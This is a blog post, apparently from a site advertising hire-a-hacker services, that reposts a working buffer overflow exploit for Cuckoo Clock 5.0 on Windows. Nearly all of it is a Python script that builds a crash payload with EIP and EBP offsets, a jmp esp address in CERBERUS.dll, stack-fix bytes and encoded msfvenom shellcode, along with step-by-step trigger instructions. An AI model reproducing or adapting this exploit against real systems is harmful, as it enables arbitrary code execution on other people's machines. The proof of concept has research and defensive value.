Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86399759

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cuckoo Clock 5.0 - Buffer Overflow
# Exploit Author: boku
# Date: 2020-02-14
# Vendor Homepage: https://en.softonic.com/author/pxcompany
# Software Link:   https://en.softonic.com/download/parallaxis-cuckoo-clock/windows/post-download
# Version:         5.0
# Tested On:       Windows 10 (32-bit)
# 
# Recreate:
#  1) Install & Open Cuckoo Clock v5.0
#  2) Right Click app icon (bottom right), click Alarms
#  3) Click the Add Button
#  4) Run Python script
#  5) Open generated poc.txt, then select-all & copy-all
#  6) Under Schedule, select-all in 'New Alarm' textbox, then paste buffer
#  7) Press Back Button and shellcode will execute

# EIP Overwrite at 260 Bytes
# Max Buffer space is 1287 bytes
# ESP points to payload at offset 264 bytes
# EBP overwrite at 256 bytes

# badChars  = '\x00\x0d'

try:
    ebpOffset = '\x41'*256
    ebp       = '\x42\x42\x42\x42'
    eip       = '\x16\x05\x03\x10' # 0x10030516 : jmp esp | ascii {PAGE_EXECUTE_READWRITE} [CERBERUS.dll] 
    # ASLR: False, Rebase: False, SafeSEH: False (C:\Program Files\Parallaxis Cuckoo Clock\CERBERUS.dll)
    # ESP points to payload at offset 264 bytes
    # 1019 bytes = Remaining Buffer Length
    fixStack  = '\x89\xE5'            # mov ebp,esp
    fixStack  += '\x83\xEC\x30'        # sub esp,byte +0x30
    # root@kali# msfvenom -p windows/exec CMD=calc -b '\x00\x0d' -f python -v shellcode
    # x86/shikata_ga_nai chosen with final size 216
    shellcode =  b""
    shellcode += b"\xdd\xc3\xbb\x9a\x4d\x57\xfa\xd9\x74\x24\xf4"
    shellcode += b"\x58\x33\xc9\xb1\x30\x83\xe8\xfc\x31\x58\x14"
    shellcode += b"\x03\x58\x8e\xaf\xa2\x06\x46\xad\x4d\xf7\x96"
    shellcode += b"\xd2\xc4\x12\xa7\xd2\xb3\x57\x97\xe2\xb0\x3a"
    shellcode += b"\x1b\x88\x95\xae\xa8\xfc\x31\xc0\x19\x4a\x64"
    shellcode += b"\xef\x9a\xe7\x54\x6e\x18\xfa\x88\x50\x21\x35"
    shellcode += b"\xdd\x91\x66\x28\x2c\xc3\x3f\x26\x83\xf4\x34"
    shellcode += b"\x72\x18\x7e\x06\x92\x18\x63\xde\x95\x09\x32"
    shellcode += b"\x55\xcc\x89\xb4\xba\x64\x80\xae\xdf\x41\x5a"
    shellcode += b"\x44\x2b\x3d\x5d\x8c\x62\xbe\xf2\xf1\x4b\x4d"
    shellcode += b"\x0a\x35\x6b\xae\x79\x4f\x88\x53\x7a\x94\xf3"
    shellcode += b"\x8f\x0f\x0f\x53\x5b\xb7\xeb\x62\x88\x2e\x7f"
    shellcode += b"\x68\x65\x24\x27\x6c\x78\xe9\x53\x88\xf1\x0c"
    shellcode += b"\xb4\x19\x41\x2b\x10\x42\x11\x52\x01\x2e\xf4"
    shellcode += b"\x6b\x51\x91\xa9\xc9\x19\x3f\xbd\x63\x40\x55"
    shellcode += b"\x40\xf1\xfe\x1b\x42\x09\x01\x0b\x2b\x38\x8a"
    shellcode += b"\xc4\x2c\xc5\x59\xa1\xc3\x8f\xc0\x83\x4b\x56"
    shellcode += b"\x91\x96\x11\x69\x4f\xd4\x2f\xea\x7a\xa4\xcb"
    shellcode += b"\xf2\x0e\xa1\x90\xb4\xe3\xdb\x89\x50\x04\x48"
    shellcode += b"\xa9\x70\x67\x0f\x39\x18\x68"
    Remainder  = '\x46'*(1287-len(ebpOffset+ebp+eip+fixStack+shellcode))
    payload    = ebpOffset+ebp+eip+fixStack+shellcode+Remainder
    File      = 'poc.txt'
    f         = open(File, 'w')
    f.write(payload)
    f.close()
    print File + " created successfully"
except:
    print File + ' failed to create'